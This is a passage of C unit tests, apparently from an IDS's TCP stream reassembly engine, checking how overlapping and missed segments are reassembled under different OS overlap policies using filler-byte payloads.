* before the list segment and OLD_LINUX policy is used to reassemble
* segments.
*/
static int StreamTcpReassembleTest13(void)
{
TcpStream stream;
uint8_t stream_before_old_linux[10] = {0x4a, 0x4a, 0x4a, 0x4a, 0x4c, 0x4c,
0x4c, 0x4d, 0x4d, 0x4d};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_OLD_LINUX;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsBeforeListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_before_old_linux, sizeof(stream_before_old_linux), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* at the same seq no. as the list segment and OLD_LINUX policy is
* used to reassemble segments.
*/
static int StreamTcpReassembleTest14(void)
{
TcpStream stream;
uint8_t stream_same_old_linux[8] = {0x4c, 0x4c, 0x4c, 0x4c, 0x48, 0x48,
0x51, 0x51};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_OLD_LINUX;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsAtSameListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_same_old_linux, sizeof(stream_same_old_linux), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* after the list segment and OLD_LINUX policy is used to reassemble
* segments.
*/
static int StreamTcpReassembleTest15(void)
{
TcpStream stream;
uint8_t stream_after_old_linux[8] = {0x41, 0x41, 0x4a, 0x46, 0x46, 0x46,
0x47, 0x47};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_OLD_LINUX;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsAfterListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_after_old_linux, sizeof(stream_after_old_linux), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly engine for all the case
* before, same and after overlapping and OLD_LINUX policy is used to
* reassemble segments.
*/
static int StreamTcpReassembleTest16(void)
{
TcpStream stream;
uint8_t stream_old_linux[25] = {0x30, 0x41, 0x41, 0x41, 0x4a, 0x4a, 0x42, 0x4b,
0x4b, 0x4b, 0x4c, 0x4c, 0x4c, 0x4d, 0x4d, 0x4d,
0x46, 0x46, 0x46, 0x47, 0x47, 0x48, 0x48, 0x51, 0x51};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_OLD_LINUX;
StreamTcpInitConfig(TRUE);
if (StreamTcpReassembleStreamTest(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_old_linux, sizeof(stream_old_linux), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* before the list segment and SOLARIS policy is used to reassemble
* segments.
*/
static int StreamTcpReassembleTest17(void)
{
TcpStream stream;
uint8_t stream_before_solaris[10] = {0x4a, 0x4a, 0x4a, 0x4a, 0x4c, 0x4c,
0x4c, 0x4d, 0x4d, 0x4d};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_SOLARIS;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsBeforeListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_before_solaris, sizeof(stream_before_solaris), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* at the same seq no. as the list segment and SOLARIS policy is used
* to reassemble segments.
*/
static int StreamTcpReassembleTest18(void)
{
TcpStream stream;
uint8_t stream_same_solaris[8] = {0x4c, 0x4c, 0x4c, 0x4c, 0x48, 0x48,
0x51, 0x51};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_SOLARIS;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsAtSameListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_same_solaris, sizeof(stream_same_solaris), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* after the list segment and SOLARIS policy is used to reassemble
* segments.
*/
static int StreamTcpReassembleTest19(void)
{
TcpStream stream;
uint8_t stream_after_solaris[8] = {0x41, 0x4a, 0x4a, 0x46, 0x46, 0x46,
0x47, 0x47};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_SOLARIS;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsAfterListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
StreamTcpFreeConfig(TRUE);
return 0;
}
if (StreamTcpCheckStreamContents(stream_after_solaris, sizeof(stream_after_solaris), &stream) == 0) {
printf("failed in stream matching!!\n");
StreamTcpFreeConfig(TRUE);
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly engine for all the case
* before, same and after overlapping and SOLARIS policy is used to
* reassemble segments.
*/
static int StreamTcpReassembleTest20(void)
{
TcpStream stream;
uint8_t stream_solaris[25] = {0x30, 0x41, 0x4a, 0x4a, 0x4a, 0x42, 0x42, 0x4b,
0x4b, 0x4b, 0x4c, 0x4c, 0x4c, 0x4d, 0x4d, 0x4d,
0x46, 0x46, 0x46, 0x47, 0x47, 0x48, 0x48, 0x51, 0x51};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_SOLARIS;
StreamTcpInitConfig(TRUE);
if (StreamTcpReassembleStreamTest(&stream) == 0) {
printf("failed in segments reassembly!!\n");
StreamTcpFreeConfig(TRUE);
return 0;
}
if (StreamTcpCheckStreamContents(stream_solaris, sizeof(stream_solaris), &stream) == 0) {
printf("failed in stream matching!!\n");
StreamTcpFreeConfig(TRUE);
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* before the list segment and LAST policy is used to reassemble
* segments.
*/
static int StreamTcpReassembleTest21(void)
{
TcpStream stream;
uint8_t stream_before_last[10] = {0x4a, 0x4a, 0x4a, 0x4a, 0x4c, 0x4c,
0x4c, 0x4d, 0x4d, 0x4d};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_LAST;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsBeforeListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_before_last, sizeof(stream_before_last), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* at the same seq no. as the list segment and LAST policy is used
* to reassemble segments.
*/
static int StreamTcpReassembleTest22(void)
{
TcpStream stream;
uint8_t stream_same_last[8] = {0x4c, 0x4c, 0x4c, 0x4c, 0x50, 0x48,
0x51, 0x51};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_LAST;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsAtSameListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_same_last, sizeof(stream_same_last), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* after the list segment and LAST policy is used to reassemble
* segments.
*/
static int StreamTcpReassembleTest23(void)
{
TcpStream stream;
uint8_t stream_after_last[8] = {0x41, 0x4a, 0x4a, 0x46, 0x4e, 0x46, 0x47, 0x4f};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_LAST;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsAfterListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_after_last, sizeof(stream_after_last), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly engine for all the case
* before, same and after overlapping and LAST policy is used to
* reassemble segments.
*/
static int StreamTcpReassembleTest24(void)
{
int ret = 0;
TcpStream stream;
uint8_t stream_last[25] = {0x30, 0x41, 0x4a, 0x4a, 0x4a, 0x4a, 0x42, 0x4b,
0x4b, 0x4b, 0x4c, 0x4c, 0x4c, 0x4d, 0x4d, 0x4d,
0x46, 0x4e, 0x46, 0x47, 0x4f, 0x50, 0x48, 0x51, 0x51};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_LAST;
StreamTcpInitConfig(TRUE);
if (StreamTcpReassembleStreamTest(&stream) == 0) {
printf("failed in segments reassembly: ");
goto end;
}
if (StreamTcpCheckStreamContents(stream_last, sizeof(stream_last), &stream) == 0) {
printf("failed in stream matching: ");
goto end;
}
ret = 1;
end:
StreamTcpFreeConfig(TRUE);
return ret;
}
/** \brief The Function to test the missed packets handling with given payload,
* which is used to test the reassembly of the engine.
*
* \param stream Stream which contain the packets
* \param seq Sequence number of the packet
* \param ack Acknowledgment number of the packet
* \param payload The variable used to store the payload contents of the
* current packet.
* \param len The length of the payload for current packet.
* \param th_flag The TCP flags
* \param flowflags The packet flow direction
* \param state The TCP session state
*
* \retval On success it returns 0 and on failure it return -1.
*/
static int StreamTcpTestMissedPacket (TcpReassemblyThreadCtx *ra_ctx,
TcpSession *ssn, uint32_t seq, uint32_t ack, uint8_t *payload,
uint16_t len, uint8_t th_flags, uint8_t flowflags, uint8_t state)
{
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return -1;
Flow f;
TCPHdr tcph;
Port sp;
Port dp;
struct in_addr in;
ThreadVars tv;
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&f, 0, sizeof (Flow));
memset(&tcph, 0, sizeof (TCPHdr));
memset(&tv, 0, sizeof (ThreadVars));
sp = 200;
dp = 220;
FLOW_INITIALIZE(&f);
if (inet_pton(AF_INET, "1.2.3.4", &in) != 1) {
SCFree(p);
return -1;
}
f.src.addr_data32[0] = in.s_addr;
if (inet_pton(AF_INET, "1.2.3.5", &in) != 1) {
SCFree(p);
return -1;
}
f.dst.addr_data32[0] = in.s_addr;
f.flags |= FLOW_IPV4;
f.sp = sp;
f.dp = dp;
f.protoctx = ssn;
f.proto = IPPROTO_TCP;
p->flow = &f;
tcph.th_win = htons(5480);
tcph.th_seq = htonl(seq);
tcph.th_ack = htonl(ack);
tcph.th_flags = th_flags;
p->tcph = &tcph;
p->flowflags = flowflags;
p->payload = payload;
p->payload_len = len;
ssn->state = state;
TcpStream *s = NULL;
if (flowflags & FLOW_PKT_TOSERVER) {
s = &ssn->server;
} else {
s = &ssn->client;
}
SCMutexLock(&f.m);
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, ssn, s, p, &pq) == -1) {
SCMutexUnlock(&f.m);
SCFree(p);
return -1;
}
SCMutexUnlock(&f.m);
SCFree(p);
return 0;
}
/**
* \test Test the handling of packets missed by both IDS and the end host.
* The packet is missed in the starting of the stream.
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest25 (void)
{
int ret = 0;
uint8_t payload[4];
uint32_t seq;
uint32_t ack;
TcpSession ssn;
uint8_t th_flag;
uint8_t flowflags;
uint8_t check_contents[7] = {0x41, 0x41, 0x41, 0x42, 0x42, 0x43, 0x43};
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
memset(&ssn, 0, sizeof (TcpSession));
flowflags = FLOW_PKT_TOSERVER;
th_flag = TH_ACK|TH_PUSH;
ack = 20;
StreamTcpInitConfig(TRUE);
StreamTcpCreateTestPacket(payload, 0x42, 2, 4); /*BB*/
seq = 10;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 2, th_flag, flowflags, TCP_ESTABLISHED) == -1){
printf("failed in segments reassembly: ");
goto end;
}
StreamTcpCreateTestPacket(payload, 0x43, 2, 4); /*CC*/
seq = 12;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 2, th_flag, flowflags, TCP_ESTABLISHED) == -1){
printf("failed in segments reassembly: ");
goto end;
}
ssn.server.next_seq = 14;
StreamTcpCreateTestPacket(payload, 0x41, 3, 4); /*AAA*/
seq = 7;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 3, th_flag, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly: ");
goto end;
}
if (StreamTcpCheckStreamContents(check_contents, sizeof(check_contents), &ssn.server) == 0) {
printf("failed in stream matching: ");
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
return ret;
}
/**
* \test Test the handling of packets missed by both IDS and the end host.
* The packet is missed in the middle of the stream.
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest26 (void)
{
int ret = 0;
uint8_t payload[4];
uint32_t seq;
uint32_t ack;
TcpSession ssn;
uint8_t th_flag;
uint8_t flowflags;
uint8_t check_contents[7] = {0x41, 0x41, 0x41, 0x42, 0x42, 0x43, 0x43};
memset(&ssn, 0, sizeof (TcpSession));
flowflags = FLOW_PKT_TOSERVER;
th_flag = TH_ACK|TH_PUSH;
ack = 20;
StreamTcpInitConfig(TRUE);
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
StreamTcpCreateTestPacket(payload, 0x41, 3, 4); /*AAA*/
seq = 10;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 3, th_flag, flowflags, TCP_ESTABLISHED) == -1){
printf("failed in segments reassembly: ");
goto end;
}
StreamTcpCreateTestPacket(payload, 0x43, 2, 4); /*CC*/
seq = 15;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 2, th_flag, flowflags, TCP_ESTABLISHED) == -1){
printf("failed in segments reassembly: ");
goto end;
}
StreamTcpCreateTestPacket(payload, 0x42, 2, 4); /*BB*/
seq = 13;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 2, th_flag, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly: ");
goto end;
}
if (StreamTcpCheckStreamContents(check_contents, sizeof(check_contents), &ssn.server) == 0) {
printf("failed in stream matching: ");
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
return ret;
}
/**
* \test Test the handling of packets missed by both IDS and the end host.
* The packet is missed in the end of the stream.
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest27 (void)
{
int ret = 0;
uint8_t payload[4];
uint32_t seq;
uint32_t ack;
TcpSession ssn;
uint8_t th_flag;
uint8_t flowflags;
uint8_t check_contents[7] = {0x41, 0x41, 0x41, 0x42, 0x42, 0x43, 0x43};
memset(&ssn, 0, sizeof (TcpSession));
flowflags = FLOW_PKT_TOSERVER;
th_flag = TH_ACK|TH_PUSH;
ack = 20;
StreamTcpInitConfig(TRUE);
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
StreamTcpCreateTestPacket(payload, 0x41, 3, 4); /*AAA*/
seq = 10;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 3, th_flag, flowflags, TCP_ESTABLISHED) == -1){
printf("failed in segments reassembly: ");
goto end;
}
StreamTcpCreateTestPacket(payload, 0x42, 2, 4); /*BB*/
seq = 13;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 2, th_flag, flowflags, TCP_ESTABLISHED) == -1){
printf("failed in segments reassembly: ");
goto end;
}
StreamTcpCreateTestPacket(payload, 0x43, 2, 4); /*CC*/
seq = 15;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 2, th_flag, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly: ");
goto end;
}
if (StreamTcpCheckStreamContents(check_contents, sizeof(check_contents), &ssn.server) == 0) {
printf("failed in stream matching: ");
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
return ret;
}
/**
* \test Test the handling of packets missed by IDS, but the end host has
* received it and send the acknowledgment of it. The packet is missed
* in the starting of the stream.
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest28 (void)
{
int ret = 0;
uint8_t payload[4];
uint32_t seq;
uint32_t ack;
uint8_t th_flag;
uint8_t th_flags;
uint8_t flowflags;
uint8_t check_contents[5] = {0x41, 0x41, 0x42, 0x42, 0x42};
TcpSession ssn;
memset(&ssn, 0, sizeof (TcpSession));
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
StreamTcpInitConfig(TRUE);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 4096);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOCLIENT, 4096);
flowflags = FLOW_PKT_TOSERVER;
th_flag = TH_ACK|TH_PUSH;
th_flags = TH_ACK;
ssn.server.last_ack = 22;
ssn.server.ra_raw_base_seq = ssn.server.ra_app_base_seq = 6;
ssn.server.isn = 6;
StreamTcpCreateTestPacket(payload, 0x41, 2, 4); /*AA*/
seq = 10;
ack = 20;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 2, th_flag, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly (1): ");
goto end;
}
flowflags = FLOW_PKT_TOCLIENT;
StreamTcpCreateTestPacket(payload, 0x00, 0, 4);
seq = 20;
ack = 12;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 0, th_flags, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly (2): ");
goto end;
}
flowflags = FLOW_PKT_TOSERVER;
StreamTcpCreateTestPacket(payload, 0x42, 3, 4); /*BBB*/
seq = 12;
ack = 20;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 3, th_flag, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly (4): ");
goto end;
}
flowflags = FLOW_PKT_TOCLIENT;
StreamTcpCreateTestPacket(payload, 0x00, 0, 4);
seq = 20;
ack = 15;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 0, th_flags, flowflags, TCP_TIME_WAIT) == -1) {
printf("failed in segments reassembly (5): ");
goto end;
}
if (StreamTcpCheckChunks(&ssn, check_contents) == 0) {
printf("failed in stream matching (6): ");
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
return ret;
}
/**
* \test Test the handling of packets missed by IDS, but the end host has
* received it and send the acknowledgment of it. The packet is missed
* in the middle of the stream.
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest29 (void)
{
int ret = 0;
uint8_t payload[4];
uint32_t seq;
uint32_t ack;
uint8_t th_flag;
uint8_t th_flags;
uint8_t flowflags;
uint8_t check_contents[5] = {0x41, 0x41, 0x42, 0x42, 0x42};
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
TcpSession ssn;
memset(&ssn, 0, sizeof (TcpSession));
flowflags = FLOW_PKT_TOSERVER;
th_flag = TH_ACK|TH_PUSH;
th_flags = TH_ACK;
ssn.server.last_ack = 22;
ssn.server.ra_raw_base_seq = 9;
ssn.server.isn = 9;
StreamTcpInitConfig(TRUE);
StreamTcpCreateTestPacket(payload, 0x41, 2, 4); /*AA*/
seq = 10;
ack = 20;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 2, th_flag, flowflags, TCP_ESTABLISHED) == -1){
printf("failed in segments reassembly: ");
goto end;
}
flowflags = FLOW_PKT_TOCLIENT;
StreamTcpCreateTestPacket(payload, 0x00, 0, 4);
seq = 20;
ack = 15;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 0, th_flags, flowflags, TCP_ESTABLISHED) == -1){
printf("failed in segments reassembly: ");
goto end;
}
flowflags = FLOW_PKT_TOSERVER;
StreamTcpCreateTestPacket(payload, 0x42, 3, 4); /*BBB*/
seq = 15;
ack = 20;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 3, th_flag, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly: ");
goto end;
}
flowflags = FLOW_PKT_TOCLIENT;
StreamTcpCreateTestPacket(payload, 0x00, 0, 4);
seq = 20;
ack = 18;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 0, th_flags, flowflags, TCP_TIME_WAIT) == -1) {
printf("failed in segments reassembly: ");
goto end;
}
if (StreamTcpCheckChunks(&ssn, check_contents) == 0) {
printf("failed in stream matching: ");
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
return ret;
}
/**
* \test Test the handling of packets missed by IDS, but the end host has
* received it and send the acknowledgment of it. The packet is missed
* at the end of the stream.
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest30 (void)
{
int ret = 0;
uint8_t payload[4];
uint32_t seq;
uint32_t ack;
uint8_t th_flag;
uint8_t th_flags;
uint8_t flowflags;
uint8_t check_contents[6] = {0x41, 0x41, 0x42, 0x42, 0x42, 0x00};
TcpSession ssn;
memset(&ssn, 0, sizeof (TcpSession));
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
flowflags = FLOW_PKT_TOSERVER;
th_flag = TH_ACK|TH_PUSH;
th_flags = TH_ACK;
ssn.server.last_ack = 22;
ssn.server.ra_raw_base_seq = ssn.server.ra_app_base_seq = 9;
ssn.server.isn = 9;
StreamTcpInitConfig(TRUE);
StreamTcpCreateTestPacket(payload, 0x41, 2, 4); /*AA*/
seq = 10;
ack = 20;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 2, th_flag, flowflags, TCP_ESTABLISHED) == -1){
printf("failed in segments reassembly: ");
goto end;
}
flowflags = FLOW_PKT_TOCLIENT;
StreamTcpCreateTestPacket(payload, 0x00, 0, 4);
seq = 20;
ack = 12;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 0, th_flags, flowflags, TCP_ESTABLISHED) == -1){
printf("failed in segments reassembly: ");
goto end;
}
flowflags = FLOW_PKT_TOSERVER;
StreamTcpCreateTestPacket(payload, 0x42, 3, 4); /*BBB*/
seq = 12;
ack = 20;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 3, th_flag, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly: ");
goto end;
}
flowflags = FLOW_PKT_TOCLIENT;
StreamTcpCreateTestPacket(payload, 0x00, 0, 4);
seq = 20;
ack = 18;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 0, th_flags, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly: ");
goto end;
}
th_flag = TH_FIN|TH_ACK;
seq = 18;
ack = 20;
flowflags = FLOW_PKT_TOSERVER;
StreamTcpCreateTestPacket(payload, 0x00, 1, 4);
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 1, th_flag, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly: ");
goto end;
}
flowflags = FLOW_PKT_TOCLIENT;
StreamTcpCreateTestPacket(payload, 0x00, 0, 4);
seq = 20;
ack = 18;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 0, th_flag, flowflags, TCP_TIME_WAIT) == -1) {
printf("failed in segments reassembly: ");
goto end;
}
if (StreamTcpCheckChunks(&ssn, check_contents) == 0) {
printf("failed in stream matching: ");
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
return ret;
}
/**
* \test Test to reassemble the packets using the fast track method, as most
* packets arrives in order.
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest31 (void)
{
int ret = 0;
uint8_t payload[4];
uint32_t seq;
uint32_t ack;
uint8_t th_flag;
uint8_t flowflags;
uint8_t check_contents[5] = {0x41, 0x41, 0x42, 0x42, 0x42};
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
TcpSession ssn;
memset(&ssn, 0, sizeof (TcpSession));
flowflags = FLOW_PKT_TOSERVER;
th_flag = TH_ACK|TH_PUSH;
ssn.server.ra_raw_base_seq = 9;
ssn.server.isn = 9;
StreamTcpInitConfig(TRUE);
StreamTcpCreateTestPacket(payload, 0x41, 2, 4); /*AA*/
seq = 10;
ack = 20;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 2, th_flag, flowflags, TCP_ESTABLISHED) == -1){
printf("failed in segments reassembly: ");
goto end;
}
flowflags = FLOW_PKT_TOSERVER;
StreamTcpCreateTestPacket(payload, 0x42, 1, 4); /*B*/
seq = 15;
ack = 20;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 1, th_flag, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly: ");
goto end;
}
flowflags = FLOW_PKT_TOSERVER;
StreamTcpCreateTestPacket(payload, 0x42, 1, 4); /*B*/
seq = 12;
ack = 20;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 1, th_flag, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly: ");
goto end;
}
flowflags = FLOW_PKT_TOSERVER;
StreamTcpCreateTestPacket(payload, 0x42, 1, 4); /*B*/
seq = 16;
ack = 20;
if (StreamTcpTestMissedPacket (ra_ctx, &ssn, seq, ack, payload, 1, th_flag, flowflags, TCP_ESTABLISHED) == -1) {
printf("failed in segments reassembly: ");
goto end;
}
if (StreamTcpCheckStreamContents(check_contents, 5, &ssn.server) == 0) {
printf("failed in stream matching: ");
goto end;
}
if (ssn.server.seg_list_tail->seq != 16) {
printf("failed in fast track handling: ");
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
return ret;
}
static int StreamTcpReassembleTest32(void)
{
TcpSession ssn;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow f;
TCPHdr tcph;
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
TcpStream stream;
uint8_t ret = 0;
uint8_t check_contents[35] = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42,
0x42, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_BSD;
uint8_t payload[20] = "";
StreamTcpInitConfig(TRUE);
/* prevent L7 from kicking in */
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 4096);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOCLIENT, 4096);
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&ssn, 0, sizeof (TcpSession));
memset(&f, 0, sizeof (Flow));
memset(&tcph, 0, sizeof (TCPHdr));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
FLOW_INITIALIZE(&f);
f.protoctx = &ssn;
f.proto = IPPROTO_TCP;
p->src.family = AF_INET;
p->dst.family = AF_INET;
p->proto = IPPROTO_TCP;
p->flow = &f;
tcph.th_win = 5480;
tcph.th_flags = TH_PUSH | TH_ACK;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
p->tcph->th_seq = htonl(10);
p->tcph->th_ack = htonl(31);
p->payload_len = 10;
StreamTcpCreateTestPacket(payload, 0x41, 10, 20); /*AA*/
p->payload = payload;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1)
goto end;
p->tcph->th_seq = htonl(20);
p->tcph->th_ack = htonl(31);
p->payload_len = 10;
StreamTcpCreateTestPacket(payload, 0x42, 10, 20); /*BB*/
p->payload = payload;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1)
goto end;
p->tcph->th_seq = htonl(40);
p->tcph->th_ack = htonl(31);
p->payload_len = 10;
StreamTcpCreateTestPacket(payload, 0x43, 10, 20); /*CC*/
p->payload = payload;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1)
goto end;
p->tcph->th_seq = htonl(5);
p->tcph->th_ack = htonl(31);
p->payload_len = 20;
StreamTcpCreateTestPacket(payload, 0x41, 20, 20); /*AA*/
p->payload = payload;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, &stream, p, &pq) == -1)
goto end;
